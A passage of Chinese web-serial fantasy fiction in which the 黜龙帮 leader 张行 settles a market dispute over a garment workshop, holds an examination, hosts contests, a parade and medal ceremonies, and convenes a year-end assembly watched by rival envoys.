众人各自欷歔,然后一起落座,这个时候,此地主人元宝存接上之前的话叹了口气:“确实,天下之大,反而只有此地最安稳了,原本还有些边角之地……譬如北地、南岭,现在看也是无稽。” “不错,一来,谁也不能保证那些边角地会不会要利用曹氏的名头;二来,现在的局势过去,边角地也存不了许久。”冯无佚捻须感叹。 这一次,一直沉默寡言的牛河也点头应和:“确实,黜龙帮如今是得了大气运的,斩龙一事就能看出来,边角地方是挡不住的。” “不过,我还是有些忧虑。”就在这时,曹铭忽然开口。“一来,黜龙帮本身能长久与否?须知那白氏、司马氏威势也不能小觑;二来,张三郎气度不凡,愿意接纳我们,黜龙帮里的其余人又如何?咱们到底是寄人篱下,谁也不敢得罪的。” 此言一出,几人都有些不安。 倒还是封常,当场失笑:“曹三公子多虑了……前者,不是我们能定的,真有那一日,就再说吧;后者,我倒是在邺城多呆了几日,察觉到一些事情,这黜龙帮里,张首席的权威倒是堪称说一不二,没人可以动摇。” “怎么会呢?”曹铭似乎不信。“便是李枢去了,这么多行台跟龙头,都是有兵的,说是诸侯也无妨,而大行台这里,他张首席反而少参与庶务,都是几个副指挥自行其是,时间一久,未必妥当吧?” “曹三公子,不是那么算的。”封常幽幽一叹。“几位时间不多,我长话短说好了,帮内许多诸侯,各分其类……一则,如雄伯南雄天王,是个真讲义气的,处事为公,这种人,谁都当做依靠,张首席自然也可以。” 除了牛河委实不清楚外,几人都来颔首,俨然大部分人都认可。 “二则,如王叔勇、牛达、程知理,包括陈斌陈总管,这是他张首席自家的亲信、嫡系。 “三则,如魏玄定魏龙头,马上要上任的伍惊风伍大郎,前者没有自己的根基,后者是降人,只能如你我这般依附张首席。 “四则,须有野心、根基者,方有资格挑战张首席,这就又去了单通海与柴孝和两位龙头……” “你且住。”听到这里,原本听得入迷的元宝存忽然出言打断对方。“封文书,柴孝和确实如此,单通海单大郎非但实力强横,堪称帮内第一大诸侯,又素来与首席不睦,怎么也列入其中?” “元公,且不说你说的对不对,便是都对,也没有道理的。”封常也不卖关子,直接点出关键。“我只问你,单通海的根基山头在哪里?” “自然是济阴行台!” “济水上游之地作为建帮之初的根基,其中出身的头领占据了帮内要害军权、治权之外又内里相互勾连,确实是对张首席威胁最大的一个山头,那敢问这个行台除掉张首席本人,谁才是第一要害人物?”封常微笑反问。“果真是单大郎?” 元宝存被这么一问,自然心虚,想了一想,试探来问:“你是说,这个山头其实是单大郎、徐大郎、王五郎三位平分的?” “不是。”封常放声一叹,连连捻须摇头。“所以我才服气张首席的手段……世人都以为单大郎是这个山头最需要警惕的,实际上这个山头真正能威胁张首席的只有一人,那便是徐世英徐大郎……徐大郎的年龄摆在那里,天赋摆在那里,更重要的是,其人身段柔软,能屈能伸,如单大郎那个执拗做派,反而不能团结人心,王五郎又过于单纯,所以,河南之地,只是徐大郎一人而已,却被张首席黑虎掏心,直接将他本人驯的服服帖帖。反倒是单大郎那个做派与身份,更像是首席刻意摆出来,算是驯服徐大郎的手段罢了。” 众人目瞪口呆,连牛河等懵住了。 “类似的,河北这个地方,还有一个窦立德窦龙头算是有资本和能耐,算是能得人心,可是却被张首席从他最内里下手,用他一心一意丰满羽翼的执念,反过来收拢了他的妻女亲信……让窦龙头不知不觉就被拿捏住了。”封常还在摇头感慨,宛若摇摇晃晃一般。“除此之外,还有一个李定李龙头,但李龙头是自家看不到大势,等他入帮的时候,已经晚了,就不提了。” 厅中鸦雀无声。 同一时间的邺城街道中,张行跟白有思终于寻到了秦宝和月娘,说明情况后,却惹得月娘不满起来。 “我又不是厨子,还要给这个那个做饭的。”月娘摇头晃脑,头上崭新的红头绳甩的乱飞,身后秦宝抱着一个大箩筐,里面堆满了杂物,却没几个厨料。 张行果然中计,直接来问:“红头绳多少钱?” “二尺十文钱。”意识到对方注意过来后,月娘昂首挺胸,自得一时,并指向了一侧一条巷子。“那边全是卖首饰的,好便宜的,可惜我没钱,只扯了二尺红头绳,不知道什么时候能给二郎发俸禄?” 秦宝见到妻子活泼如少年,心中反而松快,白有思也要调笑。 孰料,张行扔下几人,直接往那边走了几步,探头去看巷口,看了几眼,终于回头来笑:“其实,真是此时出兵,河北也只在囊中了……但还是不妨再等一等,等腊月再说。” 白有思愣了一下,秦宝也有些发懵。 倒是月娘,居然第一个醒悟,继而不屑:“若是等腊月,红头绳必然涨价的,你拿这东西价钱来断民生经济,到时候要闹笑话。” PS:感谢slyshen老爷的又一盟,感激不尽。 pt 第四十八章 千里行(2) 第508章千里行(2) 红头绳到了腊月什么价格不知道,但到了下一个月,也就是十一月的时候,这玩意的价格非但没有上涨,反而下降了,变成了二尺六文钱。 不过也就是如此了,不过四五日,随着大量参加科考的人员开始来到邺城,市场上整体物价上涨这玩意还是涨回到了二尺八文钱,并且还在攀升……按照月娘的猜测,等到下旬夺陇大赛开始,腊月阅兵开始,年关前,涨到一尺十文钱都有可能。 至于说为什么会出现一次下降,这就要说到邺城最近的一段公案了……一段一直到现在还没有了结,甚至要打到张首席案前的公案。 原来,造成这次红头绳降价在内的特定几大类商品冲击市场的行为,居然是黜龙帮官方下场的结果。 不仅是红头绳,还有一些中高级织物、染物,连着部分贵金属首饰,基本上来自于仓储后勤部曹夕曹总管下属的济阴军衣场……按照之前曹夕曹总管的提案,济阴军衣场的女工们承租了包括邺城在内的数个城市的官方铺面,然后这群前紫微宫宫人们,用高超的技艺和集约化生产几乎是瞬间对此类市场造成了降维打击。 没办法,这个群体既不乏出色的庶务与政略女官,也不缺规模化的宫人数量,更不缺技术与艺术能力。 实际上,早在这次事情之前,在张行有意无意的的放纵下,这个群体在黜龙帮内部就非常有存在感……往上,她们参与到了曹夕带领的仓储后勤部管理中,往下牢牢把握着济阴军衣场,而且跟內侍军的有着直接的经济、人员交流,各种文书中都能经常看到她们,据说年底被表彰的也有她们。 对应的,也自然会引起许多人的不顺眼。 而现在,她们终于干了一件有把柄的事情,被人直接告到了大行台,然后大行台内争执不下,最终居然就闹到了张行面前。 “为什么这种事情要闹到我这里?”邺城行宫观风院三楼,迎着河北地区乍起的寒风,张行有些不理解。“我甚至都不晓得,为什么这事能闹到大行台?” “首席。”换了一身红色新军衣的徐大郎正色道。“这件事情只有大行台能解决……因为人家告的是咱们大行台直属的军衣场,从大行台成立那一天开始,各地的军用工坊就归对应的部来管了。” “这就是这事荒唐的地方。”张行立即指出了关键。“谁来告的?邺城的其他商户对不对?为什么他们那么清楚,这事需要直接找大行台?而且他们为什么能直接指出来军衣场是归曹总管那边的仓储后勤部,而不是张分管那边的军械战马部?” 来汇报这件事情的人,以及事情的利害关系方的人加一起足足六七个人,闻言明显一愣……一两个没愣的,也都假装愣住了。 “大行台才建立半年好不好?”张行笑道。“据我所知,上个月月底当天,军衣场的各类货物才开始发卖,本月初一下午市面上才开始降价,结果只隔了三天,今天是初五,今日的价格就重新回来了……那么说,也就是这几日的空挡,他们就告上来了,事情也就摆到我面前了?这告状的人是不是太聪明了?他们找谁了?找封文书你了?” “绝对没有。”封常一个激灵站起身来,赶紧摇头。 “所以说这件事荒唐。”张行示意对方坐下后拍着手吐槽道。“如果没有封文书这种在文书部做机要文书的聪明人直接指点的话,那只能说明一件事……这些觉得黜龙帮军衣场争了他们利的,也是黜龙帮的人……对不对?” 观风院里一时安静下来,只有下方院子里月娘在指挥一些侍卫搭建小食堂和厨房的声音……封常更是如坠冰窟,他如何不晓得,这些天自己乱勾搭人被这位首席看的真真的,今日点上来了呢? 徐大郎干咳了一声,他知道这个时候躲不掉了:“也不能说是帮里的人,大多是帮里人的亲眷。” “帮里什么人的亲眷?大头领、头领的亲眷,还是舵主、**、执事的亲眷?又或者是寻常帮众的亲眷?”张行盯着徐世英追问道。 “不好这么分。”徐世英认真道。“更像是从军的那批人的亲眷,譬如这里面确实有不少队将一层舵主的家人,但没有县令一层舵主的亲眷;而且,按照籍贯,应该是河南的居多,河北的较少……” 怪不得你要亲自来! 张行心中无语,面色如常:“也就是帮内当势者、军功者、资历者的亲眷来告的对不对?” “确实能这么说。” “那就好说了。”张行这次摊了整双手,干脆至极。“既然寻到我这里,我这里自然要给个说法,我的规矩是,为了黜龙帮的稳定……民重于帮,帮内下重于上……这是因为帮出于民,而上出于下,只有下面牢靠,我才放心。” “但是首席,这里面有名分的问题。”徐大郎继续抗辩。“这些人到底只是亲眷,而不是这些头领自家的生意,名义上依然是民,反倒是军衣场的人,是真真切切的帮里人,不少还是有阶级的……” “这个事情简单。首先,我们可以划两道线下来,比如没有分家的,分家仍是三代内血亲的,我们就算他们是一家;其次,不是不让他们做生意,只是不许他们得了便宜还卖乖,一朝受挫就要拿权势来欺压别人……”张行话到这里,忽然停住,似乎想起了什么。 周围人也都紧张起来,观风院里再度出现了只有楼下叮叮当当,楼上呼呼风响的怪异景象。 “首席想到了什么?”脑袋最硬的徐大郎无奈,只能由他来问。 “我在登州的时候遇到了类似的事情……”张行将登州程大郎与白金刚的事情叙述了一遍,然后神色复杂的盯住了面前几人。“你们说,会不会是这事传开了,有人私下勾连,想抢在年末大会前跟我打擂台?或者想报复白金刚?” 众人神色一凛,然后一人赶紧站起身来,却居然大行台直属的领兵头领,屯驻邺城旁边要塞韩陵山城的夏侯宁远:“首席想多了,断不会有人如此。” 张行扭头过去吹风,佯作不答。 夏侯宁远更慌了。 而徐大郎面无表情的看了眼这位有些慌张的建帮济阴功勋、单通海心腹,又看了眼周围同样面无表情的曹夕、封常等河北人,然后方才正色来告张行:“首席,军中断无人会违逆你的方略,真要是这般往阴私了想,那还有人说是河北方面的头领眼馋河南头领起家早、资产多,故意引着这些人往首席你身上撞呢!” 张行这才醒悟过来:“不错,徐大郎说得对,咱们不能老往阴私里想……那这件事就这么办吧,不扩大不追究,去弄清楚,只要他们确实是按照我那个划分算是帮内中高层的亲眷,就申斥他们,把这件事撤掉。” “是。”徐世英起身应声。 一起起身的还有一直一言不发的实际关系人曹夕、此事的文书经办者封常,以及一位算是直接当事人的女官。 “还有,包括有本地普通商贩来告,也要弄清楚他们后面有没有人……”张行继续叮嘱,他认为事情已经结束了。 “这是自然。”最后一位坐着的大员也起身了,赫然是巡视地方回来没多久的刑律部总管崔肃臣,而有意思的是,作为此事理论上最终的处置者,其人之前一句话都没多说。“但首席,属下还是多要问一句,如果真的出现普通本地商贩,或者跟帮内不牵扯的地方商会来告我们,说我们与民夺利,该怎么办?按照之前的意思,是民重于帮?” 张行正色起来:“这个就麻烦了,因为要具体事物具体对待……比如商货的种类,如果是粮食、基本布料、牲畜、金银、铁器、陶器这些关乎民生的商货,就要一万个重视,过快的涨价、降价都不好,但如果是其他的杂货种类,尤其是有点脱离基本生活需求的,比如瓷器、漆器、首饰、皮**、绸缎,让地方上受些冲击,未尝不可。不过,今天这件事是不要紧的,因为我晓得邺城内外的价格,这次制衣厂并没有对本地小商人造成伤害,尤其是接下来邺城人还会更多,本地物价还会继续涨,她们入场反而会对本地人有好处。” “所以,首席的意思是,要对曹总管提出来的官产承包制度,还有类似帮产帮商,在一定的分量上予以鼓励了?”崔肃臣继续来问。 “就是这个意思,谨慎的鼓励。”张行承认了下来。 “那这样的话,这件事情本身没有什么可计较的了,我还想再问首席一件事情……” “你说。” “除了这个帮产帮商,首席又如何看待商农之争?” “以农为本,谨慎鼓励商事。” “首席觉得商农不相侵?” “不是不相侵,也不是非此即彼。”张行晓得这种理论问题只有崔肃臣能跟他讨论,便摆手示意。“你们要是忙,就去忙,不忙留下来听几句……崔总管坐……我的意思是,指望着种地就天下太平万万世,是不可能的。或者说,便是天下太平万世,只种地也撑不住,咱们不能一些事情没有发生,就忽略可能的问题。” 旁边几人,徐世英与封常选择留下,夏侯宁远却在犹豫之后随曹夕与那名女官离开。 几人下楼,迎面遇到白有思进来,那女官还明显惊吓了一下。 楼上,张行难免说一些老生常谈的话题,什么耕地是有限的,财富是人的劳动创造的,所以手工业也是根本,而商业是农业与手工业外必不可少的另一极,既是维持流通的主要方式,也是满足人需求的维稳手段。 这个红头绳就是如此。 是生活本质。 不管崔肃臣接受不接受,旁听的人理解不理解,大家还是看在张首席的名头上大略的听完了这些诘屈聱牙的话,然后方才准备离开。 这个时候,天已经快黑了。 而徐世英还是坐着不动。 崔肃臣和封常不好说什么,直接离开,这边一下楼,便听到上面张首席抱怨起来:“这种事情如何也找到我这里?白白耽误我一下午,你又不是不晓得,我这大半月多快活!” “且不说这件事尴尬,非首席不能决,便是快活日子,首席也没几日了。”徐世英言之凿凿。“五日后就是科考,然后就是各种授勋与阅兵……接着大会。” “还是能快活的,科考后就是各类比赛了。”张行不以为然。“我连年戎马,还不许享受一下了?” 徐世英越发无语,若不是他晓得张行这些日子只是逛街逛的多,平素也去军营跟行宫前面大行台各处去晃,怕是以为对方是夜夜笙歌呢! 便是逛街逛的多,如今也晓得,还是在注意物价和人心居多。 一念至此,其人便摒除杂念,认真来问:“还有几件事,不好打扰刚刚首席与崔总管。” “你说。” “首先,是科考后的选拔……便是科考是按照首席定的规矩,糊名,誊录,盲批,可实际最后任用的权责还是在各部总管、分管那里,如果有争夺怎么办?如果有人考上了,却没有人任用又如何?” “如果有争夺,就让人家自己选,如果没有任用,放在文书部、王翼(参谋)部或者发往地方都是无妨的。”张行也皱起眉头来。“不过我晓得你的意思……你是想问,要不要设一个专门管理这个中下层人事去向的吏部?” “是这个意思。”徐世英道。“以前咱们的人事,本质上是军功,其实就是天王及其下属来做了这个吏部,现在不能把专门做文法吏的科考人事交给天王吧?” 张行点点头。 且说,别看这两人讨论的流畅,实际上他们都刻意忽略一个隐藏的议题,那就是为什么科考这个事情在有大魏朝模版,而且在张行提出快两个月马上都要施行的情况下增设吏部这件事情才拿来讨论?要知道,增设吏部这个话题从大行台建立以来一直是有人提的,反而到了科考这个具体事件上没人提了,难道不奇怪吗? 当然不奇怪,因为大行台眼馋这个任用权,他们也想学大魏南衙相公们夺走所有的人事任用权,而实际负责这件事情的张世昭与魏玄定也根本没有得罪他人或者争权的必要。 但现在徐世英忽然问了这件事情,说明他背刺了陈斌。 当然,按照张首席对徐大郎的认知,这才是徐大郎本郎嘛。 “是该设,那你觉得谁合适呢?”暮色中,点头后张行想了一想,轻飘飘来问。 “这要看首席决断。”徐世英提醒道。“只是没必要跟阎庆头领这两个月登记的全军全帮全地方修行者弄在一起就好……两者不是一个路子。” 张行点头,想了一想,一时没有心得,便道:“这事自然可以有,但未必要太着急,第一次科考就一定要如何,还有什么?” “还有一件事,按照陈总管之前通过的提案,年底应该从中层舵主一层,提拔出一位头领,以作循例,所以我想向首席推荐一个人。”徐世英严肃了不少。 “谁?” “我的亲卫首领,跟韩二郎一样没有正经名字,姓也怪异,唤作西门大郎,他不是我家人出身,而是在白马卖炊饼的,当日白马举义,他扛着炊饼担子便跟上了我,这些年经历了几乎所有大战,日益精进。”徐世英毫不犹豫推荐了自己的私人。“不过此人最大的优点是为人诚实质朴,从不避讳,虽是一匹夫,却不可夺其志,我本人非常欣赏他……虽然有父亲,有两个弟弟,还有两个姐姐,但真要我托付什么大事,我只会托付他。” “听起来是个好人选。”张行点点头。“我是认的,但我建议你在开会前写一份正式文书,让陈总管转给我。” “是。” “还有吗?”张行接着追问。 徐大郎犹豫了一下。 “用兵的事情你有别的看法吗?”张行忽然来问。“我之前就见你有犹疑。” “有。”徐世英终于承认。“但不是早一个月,晚一个月打河北的事情,而是我一直以为不应该去打北地……” 张行终于一愣:“原来如此……你觉得得不偿失?” “差不多是那个意思。”徐大郎诚恳道。“北地地广人稀,面积与河北相仿,人口却只有河北一半不到,而且一半是荡魔卫的人,一半是分封制度,许多人在那里传了十几代……我不怀疑咱们打不过,却怕咱们一头栽进去,耗费时日,耽误了与白横秋抢攻东都。” 张行沉默了片刻,然后来问:“那你以为该如何处理北地呢?” “打过幽州,控制掷刀岭,把掷刀岭北面的两个城拿下,然后与荡魔卫交好,让他们自家闹,就回身来打东都。”徐大郎言辞恳切。 “东都也不是那么好打的。”张行幽幽以对。 “但必须得打,咱们跟白横秋,谁得了东都谁就占了七分优势……不然咱们怎么跟大英争?指望着从河北打进晋地?”徐世英愈发恳切。“这也太难了……而且夺了晋地也要争东都,才能坦然入关中!” 张行沉默了一下,忽然就在座中伸手握住了对方一只手,然后说起了另外一个话题:“大郎,我晓得你这次过来,不是遮护那些河南头领,而是心里存着大局,故意引着他们往我身上撞,让他们知道利害……我也晓得,从今年年初一起生死与共逃出漳水包围圈算起,你便是一心一意为了黜龙帮大局做事了。” “真做起事来,才晓得什么叫艰难。”徐世英微微一叹,并没有否认。“以前这些事情,是可以不管的。” “不过你放心。”张行握着对方手,迎着侧面出来的冬日寒风,平静做起了宽慰。“断不会让你一人艰难的,我这里也下定了决心,所谓万念不能乱我心,万事不能夺我志……尤其是如今,眼瞅着到了最关键的时候,就更不会放松下来。” 话到这里,张行顿了一顿,继续言道:“这次稍缓下来,有人说我是怕有些兄弟跟不上,也有人说我是单纯误判了形势,其实都有些道理。但实际上,我自家也清楚,这是事情到了最关键的时候,我怕帮里跟我自己一起打跌,自家心虚……我要亲眼看到全帮被整合好,半点风险都不想冒。因为歇完这一次,之后,咱们不止是要打河北,而是要一口气统一天下,而取北地,既是统一天下必不可少一环,也是关键一环。” 徐世英心中微动,尚未开口,张行已经继续说了下去:“对于此事,我有个具体说法,谁都没有提过,今日跟你单独来讲,你记在心里就行。” 话到这里,张行微微压低声音,讲出了一番话来。 而徐大郎听完,沉思良久,却居然是被当场说服:“若是首席有这个计划,我自然会支持全取北地,首席放心吧。” 张行一点头,扶着对方站起来:“此事放在心里便可,我送你下去。” 说着,二人竟是挽着手一起走下楼来,到了门前方才撒手。 目送对方离开,张行心中稍作感叹,回过头来,却见白有思抱着怀立在院子里,而且居然也是一身崭新的红色布衣,难免吓了一跳:“怎么不声不响?” “不声不响才听得清楚。”白有思放开手,主动迎上来学张行之前牵人手,面带戏谑。“张首席,吏部的职责我能学徐大郎荐一人吗?” “谁?”张行不由好奇。“是阎庆报给你的那些修行人里找到遗贤了?” “闹了这么久,刀兵之下,哪个修行者能藏得住?”白有思不以为然道。“不外乎就是新添了一些归乡的大魏遗臣罢了……可是吏部这种要害地方,怎么可能让新来的降人去做?” “那你是推荐谁?” “钱唐如何?”白有思认真道。“以他的才能,只是领兵,未免有些大材小用……吏部分管,是不是挺合适?” 张行想了一想,倒也心动:“确实。” 不过,他旋即又来笑:“怎么,白总管也要起自己的山头吗?” 白有思丝毫不慌:“我自立在这里,便是不起山头,难道其他人就不会靠过来吗?” 张行只能服气,然后被对方牵着去吃晚饭了。 红头绳的风波来的快去的也快,过了五六日,随着黜龙帮第一次正式科考展开,邺城上下的目光全都转移了过来……人不多,来了四五百人而已,连归乡的大魏旧吏们都有一半是观望的,而且上来就出了一个乱子,之前按照张行的要求,是分科来考的,结果大部分人都选了策略,少部分人选了军略,刑案、公文、表格基本上就零星几个人,也是让人无可奈何。 而接着几日,糊名、誊录、盲批,一番下来,定下一个极度宽泛的录取员额三百,揭开名字一看,愕然发现,快两百人都是归乡的大魏旧官,少部分是允许报考的军内与地方中下层官吏,也基本上是大魏旧官,只有极少数人是年轻新人。 当然,这事完全可以理解,黜龙帮才起来四五年而已,大魏从曹彻死亡算起也不过小半年。 甚至张行这些人不也是大魏旧吏吗? 只能说任重道远而已。 “第一名是萧余?”主动换了新军衣,也就是那套红布戎装的张行看着名单来问。“那位太后的弟弟?” “是。”陈斌略显振奋,他居然也换了一身红衣,实际上,整个邺城行宫里,随着张首席前几日换了衣服,就没有不穿这套新军衣的,只能说幸亏都还挂着鲸骨牌罢了。“他在前朝也算是副宰相了……算内相?” “对,侍中,算是跟冯公一起的。”张行立即做答,然后飞速扫过名单。“不过前十名有没有没做过官的?” “有一个。”魏玄定伸手来指。“第五名就是,叫许敬祖的,二十多的年轻人,文法吏都精通,就是策论里鼓吹黜龙帮当以荡天下为己任,白氏、司马氏、萧氏皆旧日沉渣的那个。” 张行一愣,看向了没吭声的张世昭。 张世昭微微挑眉,似笑非笑给出了答复:“这是前礼部侍郎许善行的儿子,早年参加过大魏科考,就已经中过秀才,而且是最年轻的秀才,却没有出仕,只是侍奉他父亲,江都军变,他爹被乱军弄**……” 好嘛,还是人家大魏锻炼的人才。 而张行恍然之后,也收敛心神,昂起头来,弹着名单大言不惭道:“不管如何,天下英雄也算是入我等彀中了!” 几人心中无语,这算什么?却都来附和,便是谢鸣鹤也只是撇了下嘴,没有公开来怼。 确实,张行也注意到了,眼下居然没个人扮演劝谏角色的……反正魏玄定在这个世界里是黜龙帮元勋,放不下身段来作谏臣的,谢鸣鹤都随着资历日深、庶务繁多没了这个兴趣,或许新降的大魏官吏里会出几个,但这除了封常跟虞常南外不是都还没混到这行宫里落个宿舍吗? “这个许敬祖,我来指名,给徐大郎做机要文书,可行?”心中乱想了一圈,却只是瞬息,张首席很快便抢在众人附和声继续起来之前发问。 满堂红衣,都无不许,而且气氛更热闹了,前十名很快就被瓜分完毕,萧余这个南朝前前皇族,更是被陈斌这个南朝前皇族给要走了。 于是乎,张行复又提醒众人,既然定了服色,不是军中之人就没必要穿军衣,还是穿回之前的衣服为好,然后就走了。 没错,就走了。 黜龙帮第一次科考就这么结束了。 不是虎头蛇尾,而是蛇头蛇尾。 没办法的,科考这件事情,属于小试牛刀,属于从黜龙帮发展考虑,必须要有,但目前来看似乎称不上是什么突破性的东西,最起码眼下的邺城是没有察觉到此事有什么深远意义,最多说是糊名誊录让不少人觉得跟之前大魏朝廷的科考比严格了不少。 而且不少人都觉得,这是针对江都军变后归乡的大魏官吏搞得针对性举措,从结果上来看也似乎就是如此。 实际上,此事刚刚过去不过四五日,就没多少人议论了,大家的兴趣明显转移了。 夺陇大赛开始了。 这个时候所有人才发现,黜龙帮的规制已经如此大了,每郡一队,每营一队,以至于参赛队伍早早破百,然后不得不采用编号抽签的两两淘汰制,即便如此,因为场地有限,也不得不分批举行多达上百场的赛事。 而在这个过程中,张行屡次穿梭赛场,多次亲自去助威不说,还带动了一个新规则,那就是每场比赛在胜方选择一名表现最出色者,唤过来专门握手,还要问问籍贯、年龄,家中人口,何时参军,有何经历战功,问完之后,鼓励一番,还要给人带上一朵绸缎红花,让他去场中骑马环绕一圈。 张首席这般做了,但他最多能去十分之一的赛事就了不得了,其余参赛队伍不免眼热,便请自家主将、上司去寻人。于是乎,刚刚修养好的雄伯南领头,徐世英、魏玄定、谢鸣鹤(代替陈斌)、白有思,包括李定、窦立德、单通海、柴孝和都渐次出现在赛场上,并开始执行这个唤作“红花郎”的新规则。 然而,当大部分人都参与进来以后,决赛之前,张首席反而把注意力放到了别的赛事上去了。 跑步、射箭、投矛都去看了,甚至还看了纺织比赛与锻刀比赛,还在锻刀比赛上亲自抡了几下锤子,并且做了没几个人参加的炸面团比赛评委。 总之,整个十一月都是这般热热闹闹的过去了。 可是还没完,到了腊月,随着最终夺陇比赛决赛的举行与结束,邺城反而愈发热闹了起来……晋北、淮南纷纷来人,北地、东都和江南,包括河北两家的使节也纷纷抵达,就连白横秋都派了一个唤作张世静的人过来。 按照张金树调查的说法,张世静是藏着一份所谓大英皇帝旨意在背包里的,只是没敢拿出来罢了,他们也找不到机会调出来看。 而张世静来到邺城,根本没有半点指手画脚的意思,更没有提及半点军务外交,反而只是装作来探亲访友一般,今天去拜访一下算是半个同族的张世昭,明天去行宫的观风院给白有思送点小礼物,后天也随着其余使节一起去城外看夺陇比赛,回过头来又去在城内寻访萧余去打探前太皇太后和前齐王殿下如今的情况。 反正谢鸣鹤素来是潇洒性子,一忙起来就烦,乐的少了份工作,也就随他去了。 不过,真正让邺城热闹起来的,也是让这些使节们真正趋之若鹜的,乃是黜龙军开始大规模集结……一时间内,河南河北都有调度,再加上本就在邺城周边驻扎的大行台与邺城行台的二十多个营,只是兵力就达近四十个营,除此之外,还调度了许多没来的各营精锐。 四十个营,八万人,加上集中其余各营的精锐,足以发动一场统一河北的主力会战了。 很多人都在猜测,张行的什么大会会是个幌子,他会在阅兵和奖赏之后,直接借着冬日河北地区水浅地平,发动总攻……实际上,河间与幽州早已经开始了全面军事动员,以备不测。 很快,就连黜龙帮内部都有人提议提前举行大会,然后阅兵,阅兵后直接发兵。 但张行予以了明确拒绝。 进入腊月中旬,随着红头绳暴涨到二尺十六文钱,阅兵,以及同时举行的授勋仪式,正式开始了。 阅兵是有惊喜的,至少二十个营全都是在正常装备外携带了**,而且所有四十个营的人员全都补充完毕,披甲率更是达到了几乎百分之百。 对此,被邀请观礼的人态度既有些不以为然,又颇为重视。 不以为然的是军备,毕竟,在刚刚**不到一年的大魏皇帝曹彻的对比下,这个东西你没法比,人家动辄几十万战兵,上百万辅兵,甲胄**战马如流水,你拿什么比? 而且,现在的诸侯谁不是靠着大魏的军事遗产来维持基本武装力量的? 哪家缺甲胄? 重视的地方则在于,无论如何,普通军事力量的顶峰就到这儿了,这般轻易动员了四十个营,加上大家已经很难再怀疑的落龙滩刺龙事件,已经足以证明黜龙帮的军事实力了。 这就是天下数得着的军事实体。 与之相比,授勋倒着实让这些人多看了几眼,但只是看新奇,内里却没有太重视。 勋章分为三大类,第一是经历: 以济阴起事、平定东境、河北解放、扫荡淮北为节点,授予四类经历勋章,只要是经历过这些军事阶段的人,包括文职、后勤、督战人员,几乎人人有份,而且是统一发下去的,没有来的,也都能按照名单发过去。 而勋章铜牌上,姓名都没有的,就是通用的四大类牌子,用小红绳挂着。 第二是战功: 以历山会战、般县会战、漳水突围战、谯郡阻击战这四场动员了黜龙帮主力,影响黜龙帮命运的大战为准,参阅四场大战的军功讨论,予以各营、各队,以及特殊个人特殊奖章,以彰武勇。 而且这一次,众人便晓得为什么要其余各营精锐都来了,因为是当面授勋,而且是在城外漳水畔举行大规模**,在当日漳水三台的遗址上进行公开授勋。 授勋者是从谯郡修养回来没几日的雄伯南雄天王。 在邺城的所有大小头领,都在张行的带领下肃立旁观,所有外来使者也都冷眼旁观。 而且,这次铜牌就有人刻的姓名了。 第三是集体荣誉:如单通海、徐世英、王叔勇、牛达、王雄诞五营,都得到了帮中柱石营的表彰;如周行范、徐师仁、刘黑榥、王振、李子达五营被授予帮中锋刃营的表彰;而济阴军衣场、军法部、济北郡郡府、鲁大月营、郭敬恪营被授予了帮中辅弼的称号。 这些都是张行亲自颁发的,更大号的铜牌,配上一面特定的小号“黜”字军旗,而这次铜牌上面的文字更多,但因为是发给特定集体的,且数量有限,反而制作简单。 第三次授勋之后,阅兵也于当日结束,张行张首席旋即发布军令,各部解散回归驻地,按照原定计划,轮休过年。 黜龙帮内部的人员各自遗憾,而那些使节居然无一人相信此事,河北两家的使节更是发了疯一般派遣了人回去……但黜龙军真的是回家过年去了。 带着新版印的小册子——包含了这次授勋名单和张首席继往开来的文章以及许多授勋人物和集体的介绍与故事,然后回家过年去了。 两三日后,意识到黜龙军真的回家过年去了的使节们陷入到了某种惊疑不定与茫然的沉默中。 这个时候,谢鸣鹤出面,再度邀请这些人旁听他们的年底大会……用这位谢总管的话说,黜龙帮做事光明正大,没有什么不可展示的。 似乎没什么理由拒绝,于是乎,包括大英使者张世静、江东使者林士扬、东都使者房玄乔、幽州使者侯君束、河间使者慕容正言,全都选择了留下旁观……至于说北地的两位使者黄平、宇文万筹,因为当日救援有功,早早有了头领待遇,是要参会的。 晋北的尉迟七郎、淮南的马胜,更是理论上黜龙帮自家人,当然也要参会。 只是年关将近,晋北孤悬,淮南更是在交战,就不好让两边的头领尽数回归了……至于其余各处,除了少数领兵头领防守边境外,其余几乎所有人都在腊月中旬汇集到了邺城。 黜龙帮终于要解决内部人事和组织架构,完成军事扩张的准备了。 邺城行宫中心靠西面的一处大殿内,偌大的正殿已经被拆的干净,然后摆进来许多椅子,内圈外圈分明,还是圆形排列。与此同时,殿内早已经人声鼎沸,上百号人只穿着崭新的红色戎衣,踩着六合靴,腰间挂着鲸骨牌,胸前串着刚刚领到的铜制勋牌,正在那里相互寒暄调笑。 几位使节站在大殿靠外侧一个角落里,看着那些头领们高谈阔论,言笑晏晏,心中则想法不一,表情也不一。 而别人怎么想的不知道,面带微笑的张世静此时心中只有一个想法,那就是“猿猴沐而冠”! 明明定了服色,却一股脑的都穿红色布衣;明明占据了行宫,却一窝蜂的搬了进来;明明有了正经议事的明堂,却居然撤了位次,摆起了乱糟糟如山……不对,山大王聚义都要排位次的,这椅子摆的跟看歌舞一般……心中这般想,只是偶尔目光扫过几位熟悉的人物,心中稍微惊悚罢了。 这些俊彦,怎么也跟着这些人这般胡闹呢? “张公怎么看,这种圆形的朝堂?”旁边的侯君束束着手忽然来问。 这是不妥当的,因为堂中有许多修行高手,不乏宗师,讨论躲不过那几位的耳朵。 于是张世静微微笑了笑,捻须相对:“挺好的,素来就知道黜龙帮制度特殊,今日一见,名不虚传。” 侯君束叹了口气:“小子我也是久仰大名了,今日一见也确实有独到之处,毕竟这样的话,就不至于有人明明上了殿,却要排殿门口吹冷风。只是……” “只是?” “只是,排在后面的人乐意了,排在前面的人甘心吗?凭什么要跟这些人一个圈里坐?“ “确实。” 两人稍作讨论,便去看其余几位使者,然而房玄乔笑而不语,慕容正言是个瘸子,只坐在那里冷冷来看,不知道在想什么。至于林士扬,众人晓得,这是个真火教背景的盗贼出身,本来就做排斥,此时虽见他神色微动,似乎想说什么,却懒得理会。 “诸位,诸位。” 正乱想着呢,大约算算时间是上午过半的时候,忽然间一人走到中间来,带着真气四面来喊,却正是军法部的柳周臣。“时候到了,大家落座!还是老规矩,大头领进内圈,其余头领在外圈,尚未正式补名的和旁观的使者们,辛苦在边上站一站。” 众人耸动起来,又闹了一刻钟,方才落座。 然后还是柳周臣来言:“诸位,这里有一个今日会议的流程,大家看一看。” 